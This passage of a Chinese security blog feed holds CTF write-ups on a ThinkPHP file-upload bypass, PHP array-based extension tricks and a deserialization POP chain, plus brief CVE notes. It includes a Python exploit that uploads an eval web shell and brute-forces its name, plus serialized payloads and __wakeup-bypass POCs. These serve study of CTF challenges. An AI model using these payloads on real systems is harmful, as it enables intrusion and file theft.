        $uploadFile = $_FILES[&apos;file&apos;] ;
        
        if (strstr(strtolower($uploadFile[&apos;name&apos;]), &quot;.php&quot;) ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload-&amp;gt;maxSize  = 4096 ;// 设置附件上传大小
        $upload-&amp;gt;allowExts  = array(&apos;jpg&apos;, &apos;gif&apos;, &apos;png&apos;, &apos;jpeg&apos;);// 设置附件上传类型
        $upload-&amp;gt;rootPath = &apos;./Public/Uploads/&apos;;// 设置附件上传目录
        $upload-&amp;gt;savePath = &apos;&apos;;// 设置附件上传子目录
        $info = $upload-&amp;gt;upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this-&amp;gt;error($upload-&amp;gt;getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload-&amp;gt;rootPath,1).$info[&apos;file&apos;][&apos;savepath&apos;].$info[&apos;file&apos;][&apos;savename&apos;] ;
          echo json_encode(array(&quot;url&quot;=&amp;gt;$url,&quot;success&quot;=&amp;gt;1));
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我还是需要一张文件上传的思维图&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/c0ny1/upload-labs&quot;&gt;一个想帮你总结所有上传类型的靶场&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E8%84%91%E5%9B%BE.png&quot; alt=&quot;上传漏洞解析脑图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;题目分析&lt;/h2&gt;
&lt;p&gt;是&lt;code&gt;thinkphp&lt;/code&gt;框架，获取到上传的文件&lt;code&gt;$_FILES[&apos;file&apos;]&lt;/code&gt;之后，实例化一个类&lt;code&gt;Upload()&lt;/code&gt;，问题显然是出现在这个类上的&lt;/p&gt;
&lt;p&gt;然而我最大的问题是，找不到上传的接口！！！&lt;/p&gt;
&lt;p&gt;这就涉及到thinkphp的路由是怎么搞得，&lt;code&gt;thinkphp&lt;/code&gt;是单入口的框架，入口点在&lt;code&gt;public/index.php&lt;/code&gt;，之后是按照模块控制器方法来进行路由的。&lt;/p&gt;
&lt;p&gt;但是这里的命名空间&lt;code&gt;Home\Controller&lt;/code&gt;，并不是以往熟悉的&lt;code&gt;app\index\Controller&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以这里应该是一个单一模块的，也就是说上传接口在&lt;code&gt;http://index.php/Home/index/upload&lt;/code&gt;（这里就不是很明白了，明明这个&lt;code&gt;Controller&lt;/code&gt;是叫&lt;code&gt;IndexController&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/1571568323600.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这题虽然是限制了不能以&lt;code&gt;.php&lt;/code&gt;结尾，但是仔细查看才知道只是限制了&lt;code&gt;$_FILES[&apos;file&apos;]&lt;/code&gt;,这个&lt;code&gt;file&lt;/code&gt;只是在表单中设置的一个变量。&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;thinkphp&lt;/code&gt;的源码可以看到。这个&lt;code&gt;upload&lt;/code&gt;方法直接就能上传所有的文件了&lt;/p&gt;
&lt;p&gt;这样我们的利用思路就有了:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上传一个&lt;code&gt;file&lt;/code&gt;的文件能够获得文件名，同时上传一个&lt;code&gt;file1&lt;/code&gt;的文件，这个文件也会被上传但是我们不知道它的文件名&lt;/p&gt;
&lt;p&gt;这时候爆破就好了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;thinkphp3默认使用uniqid()函数根据时间生成文件名，两个文件上传时间相近可以爆破。&lt;/p&gt;
&lt;p&gt;对这里还需要知道&lt;code&gt;thinkphp&lt;/code&gt;的版本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/1571569146514.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/0.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;

url = &quot;http://cf063512-b68d-41ff-a3c1-405b73e0d84f.node3.buuoj.cn/&quot;

path = url + &quot;/index.php/home/index/upload&quot;
files = {&quot;file&quot;:(&quot;a.txt&quot;,&apos;a&apos;), &quot;file1&quot;:(&quot;a.php&quot;, &apos;&amp;lt;?php eval($_GET[&quot;a&quot;]);&apos;)}
r = requests.post(path, files=files)
t1 = r.text.split(&quot;/&quot;)[-1].split(&quot;.&quot;)[0]
print t1
print r.content
t1 = int(t1, 16)
print t1

j = t1
while True:
    path = url + &quot;/Public/Uploads/2019-10-20/%s.php&quot; % hex(j)[2:-1]
    try:
        r = requests.get(path, timeout=1)
    except:
        continue
    if r.status_code != 404:
        print path
        print r.text
        break
    print j, hex(j)[2:-1], r.status_code
    j -= 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/1571568818720.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;这题确实学到了很多东西，对于文件上传还不是很熟悉，那个&lt;code&gt;$_FILES&lt;/code&gt;数组，还有前后端是怎么交互的弄清楚了就好做了&lt;/p&gt;
&lt;h2&gt;文件上传类型简要分析&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/164561&quot;&gt;h4lo师傅写的文章&lt;/a&gt;感觉总结的很到位&lt;/p&gt;
&lt;p&gt;分析文件上传时候的数据包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name=&quot;text&quot;

title

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;chrome.png&quot;

Content-Type: image/png

PNG ... content of chrome.png ...

------WebKitFormBoundaryrGKCBY7qhFd3TrwA--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;boundary&lt;/code&gt;是一个字符串，用来切分数据。每个字段之间使用 ———WebKitFormBoundaryxxx 隔开&lt;/p&gt;
&lt;p&gt;这里就和 post 请求一样，可以自己增加参数，就形如下面这样，将参数名放到 name 里，参数值放到下面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;------WebKitFormBoundary1PkqXeou9aUAIMHr
Content-Disposition: form-data; name=&quot;filename&quot;

1.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么这里就增加了一个参数 filename = ‘1.php’&lt;/p&gt;
&lt;p&gt;前后端的交互就是通过这个&lt;code&gt;name&lt;/code&gt;进行的，也就是说后端会用&lt;code&gt;$_FILES[filename]&lt;/code&gt;这个数组，注意&lt;code&gt;$_FILES&lt;/code&gt;是一个二维数组，去获取这个文件的文件名，大小之类的信息。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里有两个文件名，一个是上传的&lt;code&gt;name&lt;/code&gt;，另一个是&lt;code&gt;$_FIlES[filename]&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;简单地绕过&lt;/h3&gt;
&lt;p&gt;前端js这个不用说&lt;/p&gt;
&lt;p&gt;也有通过&lt;strong&gt;MIME&lt;/strong&gt;来校验的，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/1571569569299.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;wafupload&lt;/h3&gt;
&lt;p&gt;简要分析一下这道题，前端可以通过表单上传文件，同时你可以自定义文件名(不过有啥用呢？)&lt;/p&gt;
&lt;p&gt;因为后端会同时去判断你有没有自定义文件名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$file = empty($_POST[&apos;filename&apos;]) ? $_FILES[&apos;file&apos;][&apos;name&apos;] : $_POST[&apos;filename&apos;];&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;白名单检测只能是&lt;code&gt;&apos;image/jpeg&apos;, &apos;image/png&apos;, &apos;image/gif&apos;&lt;/code&gt;,文件后缀也只能是&lt;code&gt;&apos;jpg&apos;, &apos;png&apos;, &apos;gif&apos;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
#$sandbox = &apos;/var/www/html/upload/&apos; . md5(&quot;phpIsBest&quot; . $_SERVER[&apos;REMOTE_ADDR&apos;]);
$sandbox = &apos;&apos;;

#@mkdir($sandbox);
#@chdir($sandbox);

if (!empty($_FILES[&apos;file&apos;])) {
    #mime check
    if (!in_array($_FILES[&apos;file&apos;][&apos;type&apos;], [&apos;image/jpeg&apos;, &apos;image/png&apos;, &apos;image/gif&apos;])) {
        die(&apos;This type is not allowed!&apos;);
    }else{
        echo &quot;pass 1n&quot;;
    }

    #check filename
    $file = empty($_POST[&apos;filename&apos;]) ? $_FILES[&apos;file&apos;][&apos;name&apos;] : $_POST[&apos;filename&apos;];
    if (!is_array($file)) {
        $file = explode(&apos;.&apos;, strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, [&apos;jpg&apos;, &apos;png&apos;, &apos;gif&apos;])) {
        die(&apos;This file is not allowed!&apos;);
    }else{
        echo &quot;pass 2n&quot;;
    }

    $filename = reset($file) . &apos;.&apos; . $file[count($file) - 1];
    if (move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], $sandbox . &apos;/&apos; . $filename)) {
        echo &apos;Success!&apos;;
        echo &apos;filepath:&apos; . $sandbox . &apos;/&apos; . $filename;
    } else {
        echo &apos;Failed!&apos;;
    }
}
show_source(__file__);
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;Upload Your Shell&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;label for=&quot;file&quot;&amp;gt;Filename:&amp;lt;/label&amp;gt;
    &amp;lt;input type=&quot;text&quot; name=&quot;filename&quot;&amp;gt;&amp;lt;br&amp;gt;
    &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot; /&amp;gt;
    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看似做的天衣无缝了，也确实考虑到了数组的情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!in_array($ext, [&apos;jpg&apos;, &apos;png&apos;, &apos;gif&apos;])) {
    die(&apos;This file is not allowed!&apos;);
}else{
    echo &quot;pass 2n&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后通古&lt;code&gt;end&lt;/code&gt;函数去取出文件的后缀名&lt;/p&gt;
&lt;p&gt;但是&lt;code&gt;end&lt;/code&gt;函数有一个问题&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;end 函数取到的是给数组的最后一次赋值的那个值，继续尝试会发现 reset 函数也是一样，第一个给数组赋值的值就是 reset 函数返回的值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;会根据赋值先后顺序该表值，可以去调试一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/10/20/roarctf-yi-dao-wen-jian-shang-chuan-ti-mu-de-fen-xi/1571571364088.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的 end 函数取到了第二个给数组赋值的值，也就是 filename[0] ，reset 函数的值为 filename[1]。这边构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;filename[1] = php
filename[0] = png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在后面拼接 $filename 时候，再一次拼接到后缀名，即&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$filename = reset($file) . &apos;.&apos; . $file[count($file) - 1];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$file[count($file) - 1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一定是取到 filename[1]，所以上面给 filename[1] 赋值为 php 的意义就在这里。&lt;/p&gt;
&lt;h3&gt;上海网安赛 web3&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    error_reporting(0);
    //$dir=md5(&quot;icq&quot; . $_SERVER[&apos;REMOTE_ADDR&apos;]);
    //$dir=md5(&quot;icq&quot;);
    //$sandbox = &apos;/sandbox/&apos; . $dir;
    //@mkdir($sandbox);
    //@chdir($sandbox);

    if($_FILES[&apos;file&apos;][&apos;name&apos;]){
        $filename = !empty($_POST[&apos;file&apos;]) ? $_POST[&apos;file&apos;] : $_FILES[&apos;file&apos;][&apos;name&apos;];
        if (!is_array($filename)) {
            $filename = explode(&apos;.&apos;, $filename);
        }
        $ext = end($filename);
        var_dump($ext);
        if($ext==$filename[count($filename) - 1]){
            die(&quot;emmmm...&quot;);
        }
        var_dump($filename);
        $new_name = (string)rand(100,999).&quot;.&quot;.$ext;
        move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;],$new_name);
        $_ = $_POST[&apos;hehe&apos;];
        if(@substr(file($_)[0],0,6)===&apos;@&amp;lt;?php&apos; &amp;amp;&amp;amp; strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }
?&amp;gt;

&amp;lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot; /&amp;gt;
    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>test</title><link>https://rayepeng.net/posts/test/</link><guid isPermaLink="true">https://rayepeng.net/posts/test/</guid><pubDate>Sun, 20 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;这是一篇测试图片的文章&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;Typora&lt;/code&gt;中可以选择将图片复制到同名的文件夹下：&lt;/p&gt;
&lt;p&gt;同时&lt;code&gt;Typora&lt;/code&gt;现在还支持缩放图片，是不是很神奇？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571567124704.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571567097935.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>一道反序列化题的分析</title><link>https://rayepeng.net/posts/%E4%B8%80%E9%81%93%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9A%84%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%B8%80%E9%81%93%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%A2%98%E7%9A%84%E5%88%86%E6%9E%90/</guid><pubDate>Sun, 20 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;苏师傅给了一道反序列化题，卑微的我在多次提示的情况下搞出来了。。&lt;/p&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

/**
 * 尝试将$read()当作函数调用时会触发这个方法
 * @return [type] [description]
 */
    public function __invoke(){
        $content = $this-&amp;gt;file_get($this-&amp;gt;var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    //此处可以触发__toString方法
    public function __construct($file=&apos;index.php&apos;)
    {
        $this-&amp;gt;source = $file;
        echo $this-&amp;gt;source.&apos;Welcome&apos;.&quot;&amp;lt;br&amp;gt;&quot;; //此处有字符串拼接
    }

    /**
     * 假设这里可以触发__get方法，怎么触发__toString方法
     */
    public function __toString()
    {
        $this-&amp;gt;str[&apos;str&apos;]-&amp;gt;source;
    }

    public function _show()
    {
        if(preg_match(&apos;/gopher|http|ftp|https|dict|\.\.|flag|file/i&apos;,$this-&amp;gt;source)) {
            die(&apos;hacker&apos;);
        } else {
            highlight_file($this-&amp;gt;source); //其实这里也可以读文件但是好像没什么乱用
        }

    }

    public function __wakeup()
    {
        if(preg_match(&quot;/gopher|http|file|ftp|https|dict|\.\./i&quot;, $this-&amp;gt;source)) {
            echo &quot;hacker&quot;;
            $this-&amp;gt;source = &quot;index.php&quot;;
        }
    }
}

class Test
{
    /**
     * 将$p覆盖为read 就能触发Read类的__invoke方法，如何触发__get方法
     */
    public $p;
    public function __construct()
    {
        $this-&amp;gt;p = array();
    }

    public function __get($key)
    {
        $function = $this-&amp;gt;p;
        return $function();
    }
}

if(isset($_GET[&apos;hello&apos;]))
{
    unserialize($_GET[&apos;hello&apos;]);
}
else
{
    $show = new Show(&apos;index.php&apos;);
    $show-&amp;gt;_show();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码中有一点我当初的思考过程，其实利用的思路并不是很难，关键是你一定要知道自己想要干嘛。&lt;/p&gt;
&lt;p&gt;目标就是&lt;code&gt;Read&lt;/code&gt;函数中的&lt;code&gt;file_get&lt;/code&gt;函数，其他的函数虽然也可以读文件，但是利用点还是在这里，(因为我们没办法控制&lt;code&gt;_show&lt;/code&gt; 方法的参数)&lt;/p&gt;
&lt;p&gt;要想调用&lt;code&gt;file_get&lt;/code&gt;函数，看到有一个&lt;code&gt;__invoke&lt;/code&gt;方法，这个方法触发的条件是:当类的一个对象被当作函数调用的时候触发，也就是&lt;code&gt;Test&lt;/code&gt;类中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __get($key)
{
    $function = $this-&amp;gt;p;
    return $function();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们能覆盖掉&lt;code&gt;$this-&amp;gt;p&lt;/code&gt;为&lt;code&gt;Read&lt;/code&gt;类的一个对象，后面&lt;code&gt;$function()&lt;/code&gt;就是将这个对象当作函数调用&lt;/p&gt;
&lt;p&gt;那么如何触发&lt;code&gt;__get&lt;/code&gt;方法呢？这个方法的触发条件就是访问类中的私有属性或者是不存在的属性时，&lt;/p&gt;
&lt;p&gt;此时看到&lt;code&gt;Show&lt;/code&gt;的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __toString()
{
    $this-&amp;gt;str[&apos;str&apos;]-&amp;gt;source;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果&lt;code&gt;$this-&amp;gt;str[&apos;str&apos;]&lt;/code&gt;被覆盖为&lt;code&gt;Test&lt;/code&gt;类，那么此时就相当于访问&lt;code&gt;Test&lt;/code&gt;类中不存在的属性，自然就会触发&lt;code&gt;__get&lt;/code&gt;方法了&lt;/p&gt;
&lt;h2&gt;我的难点&lt;/h2&gt;
&lt;p&gt;也许是我一直忽视了&lt;code&gt;__toString&lt;/code&gt;函数触发的条件 ，这个方法的触发条件是比较简单，但是又比较容易忽视的，我关注到了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __construct($file=&apos;index.php&apos;)
{
    $this-&amp;gt;source = $file;
    echo $this-&amp;gt;source.&apos;Welcome&apos;.&quot;&amp;lt;br&amp;gt;&quot;; //此处有字符串拼接
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处存在一个字符串拼接，所以可以触发&lt;code&gt;__toString&lt;/code&gt;方法，但是&lt;code&gt;__construct&lt;/code&gt;方法在反序列化中是没有什么价值的。导致我一度很纠结，觉得是不是少了一个&lt;code&gt;__destruct&lt;/code&gt;方法。&lt;/p&gt;
&lt;p&gt;后来。。。。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;原来问题出在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
public function __wakeup()
{
    if(preg_match(&quot;/gopher|http|file|ftp|https|dict|\.\./i&quot;, $this-&amp;gt;source)) {
        echo &quot;hacker&quot;;
        $this-&amp;gt;source = &quot;index.php&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处的&lt;code&gt;preg_match&lt;/code&gt;也是将其当作字符串来使用，所以显而易见(至少对于之前的我来说不是)会触发&lt;code&gt;__toString&lt;/code&gt;方法&lt;/p&gt;
&lt;h2&gt;exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 

class Show{
	public $source;
	public $str;
}

class Test{
	public $p;
}

class Read{
	public $var = &quot;flag.php&quot;;
}

$s = new Show();
$t = new Test();
$r = new Read();

$t-&amp;gt;p = $r;
// $s-&amp;gt;str = array(&quot;str&quot;=&amp;gt;&quot;Test&quot;);
$s-&amp;gt;str[&quot;str&quot;] = $t;
$s-&amp;gt;source = $s;
var_dump(serialize($s));

 ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571585291762.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;拓展&lt;/h2&gt;
&lt;p&gt;我在找资料的过程中，还发现了&lt;code&gt;__wakeup&lt;/code&gt;函数的一个漏洞&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/&quot;&gt;php反序列化绕过__wakeup&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 

class ReadFile{
	private $file=&apos;&apos;;
	public function __construct(){
		$this-&amp;gt;file = $file;
	}
	function __destruct(){
		$image = file_get_contents($this-&amp;gt;file);
		header(&apos;Content-type: image/png&apos;);
		echo $image;
	}
	function __wakeup(){
		$this-&amp;gt;file = &apos;code.png&apos;;
	}
}

// unserialize($str2);
if(isset($_GET[&apos;filename&apos;])){
	$filename = $_GET[&apos;filename&apos;];
	$filename=str_replace(&apos;flag&apos;, &apos;&apos;, $filename);
	@unserialize($filename);
}else{
	$image = file_get_contents(&quot;code.png&quot;);
	header(&apos;Content-type: image/png&apos;);
	echo $image;
}

 ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个题目中反序列化之后肯定会调用&lt;code&gt;__wakeup&lt;/code&gt;方法，但是在这个方法中，强制给&lt;code&gt;$this-&amp;gt;file&lt;/code&gt;赋值为&lt;code&gt;code.png&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;导致最后的&lt;code&gt;__destruct&lt;/code&gt;不能够读取其他的文件&lt;/p&gt;
&lt;p&gt;但是如果我们在反序列化后的数据中做一定的修改,将其属性的数量修改2就可以绕过&lt;code&gt;__wakeup&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;说是这么说，但是我在调试的过程中怎么也不能触发&lt;code&gt;__wakeup&lt;/code&gt;方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from urllib.parse import quote

URL = &quot;http://localhost/audit/roarCTF2019/audit3.php&quot;

p1 = &apos;O:8:&quot;ReadFile&quot;:1:{s:14:&quot;\000ReadFile\000file&quot;;s:8:&quot;flag.php&quot;;}&apos;

p2 = &apos;O:8:&quot;ReadFile&quot;:2:{s:14:&quot;&apos;+quote(&apos;\000&apos;)+&apos;ReadFile&apos;+quote(&apos;\000&apos;)+&apos;file&quot;;s:8:&quot;flflagag.php&quot;;}&apos;

p3 = &apos;O:4:&quot;Test&quot;:0:{}&apos;

p4 = &apos;O:8:&quot;ReadFile&quot;:1:{s:4:&quot;file&quot;;s:8:&quot;flag.php&quot;;}&apos;
payload = {&apos;filename&apos;: (p2)}
res = requests.get(URL, params=payload)

print(res.content)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞的详情如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;谷歌发现了CVE-2016-7124，一个月前爆出的。简单来说就是当序列化字符串中，如果表示对象属性个数的值大于真实的属性个数时就会跳过&lt;code&gt;__wakeup&lt;/code&gt;的执行 参考&lt;a href=&quot;https://bugs.php.net/bug.php?id=72663%EF%BC%8C&quot;&gt;https://bugs.php.net/bug.php?id=72663，&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查阅bugs.php网站，看到了两个POC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

ini_set(&apos;session.serialize_handler&apos;, &apos;php_serialize&apos;);
session_start();
$sess = &apos;O:9:&quot;Exception&quot;:2:{s:7:&quot;&apos;.&quot;\0&quot;.&apos;*&apos;.&quot;\0&quot;.&apos;file&quot;;R:1;}&apos;;
session_decode($sess);
echo $_SESSION;

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this-&amp;gt;data);
    }
    function unserialize($data) {
        $this-&amp;gt;data = unserialize($data);
    }
}

$inner = &apos;a:1:{i:0;O:9:&quot;Exception&quot;:2:{s:7:&quot;&apos;.&quot;\0&quot;.&apos;*&apos;.&quot;\0&quot;.&apos;file&quot;;R:4;}&apos;;
$exploit = &apos;a:2:{i:0;C:3:&quot;obj&quot;:&apos;.strlen($inner).&apos;:{&apos;.$inner.&apos;}i:1;R:4;}&apos;;

$data = unserialize($exploit);
echo $data[1];

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是本地并没有调试成功&lt;/p&gt;
</content:encoded></item><item><title>三点法隐写图像</title><link>https://rayepeng.net/posts/%E4%B8%89%E7%82%B9%E6%B3%95%E9%9A%90%E5%86%99%E5%9B%BE%E5%83%8F/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%B8%89%E7%82%B9%E6%B3%95%E9%9A%90%E5%86%99%E5%9B%BE%E5%83%8F/</guid><pubDate>Sun, 20 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;无聊之际来水一水博文，三点法隐写图像这个一直不是很理解，顺势写一下啊&lt;/p&gt;
&lt;p&gt;可见三点法就是选出三个点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1571576849656.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>DIR-816再分析</title><link>https://rayepeng.net/posts/dir-816%E5%86%8D%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/dir-816%E5%86%8D%E5%88%86%E6%9E%90/</guid><pubDate>Sat, 19 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;群晖的路由器好难分析，最后还是只能复现一下D-LINK的相关漏洞。&lt;/p&gt;
&lt;h2&gt;DIR-816历史漏洞&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17066&quot;&gt;CVE-2018-17066&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/cmd_injection_0&quot;&gt;Command injection&lt;/a&gt;. Credit: nabla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17068&quot;&gt;CVE-2018-17068&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/cmd_injection_1&quot;&gt;Command injection&lt;/a&gt;. Credit: nabla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17064&quot;&gt;CVE-2018-17064&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/cmd_injection_2&quot;&gt;Command injection&lt;/a&gt;. Credit: nabla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17063&quot;&gt;CVE-2018-17063&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/cmd_injection_3&quot;&gt;Command injection&lt;/a&gt;. Credit: nabla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17067&quot;&gt;CVE-2018-17067&lt;/a&gt;: &lt;a href=&quot;https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/stack_overflow_0&quot;&gt;Stack overflow&lt;/a&gt;. Credit: nabla&lt;/li&gt;
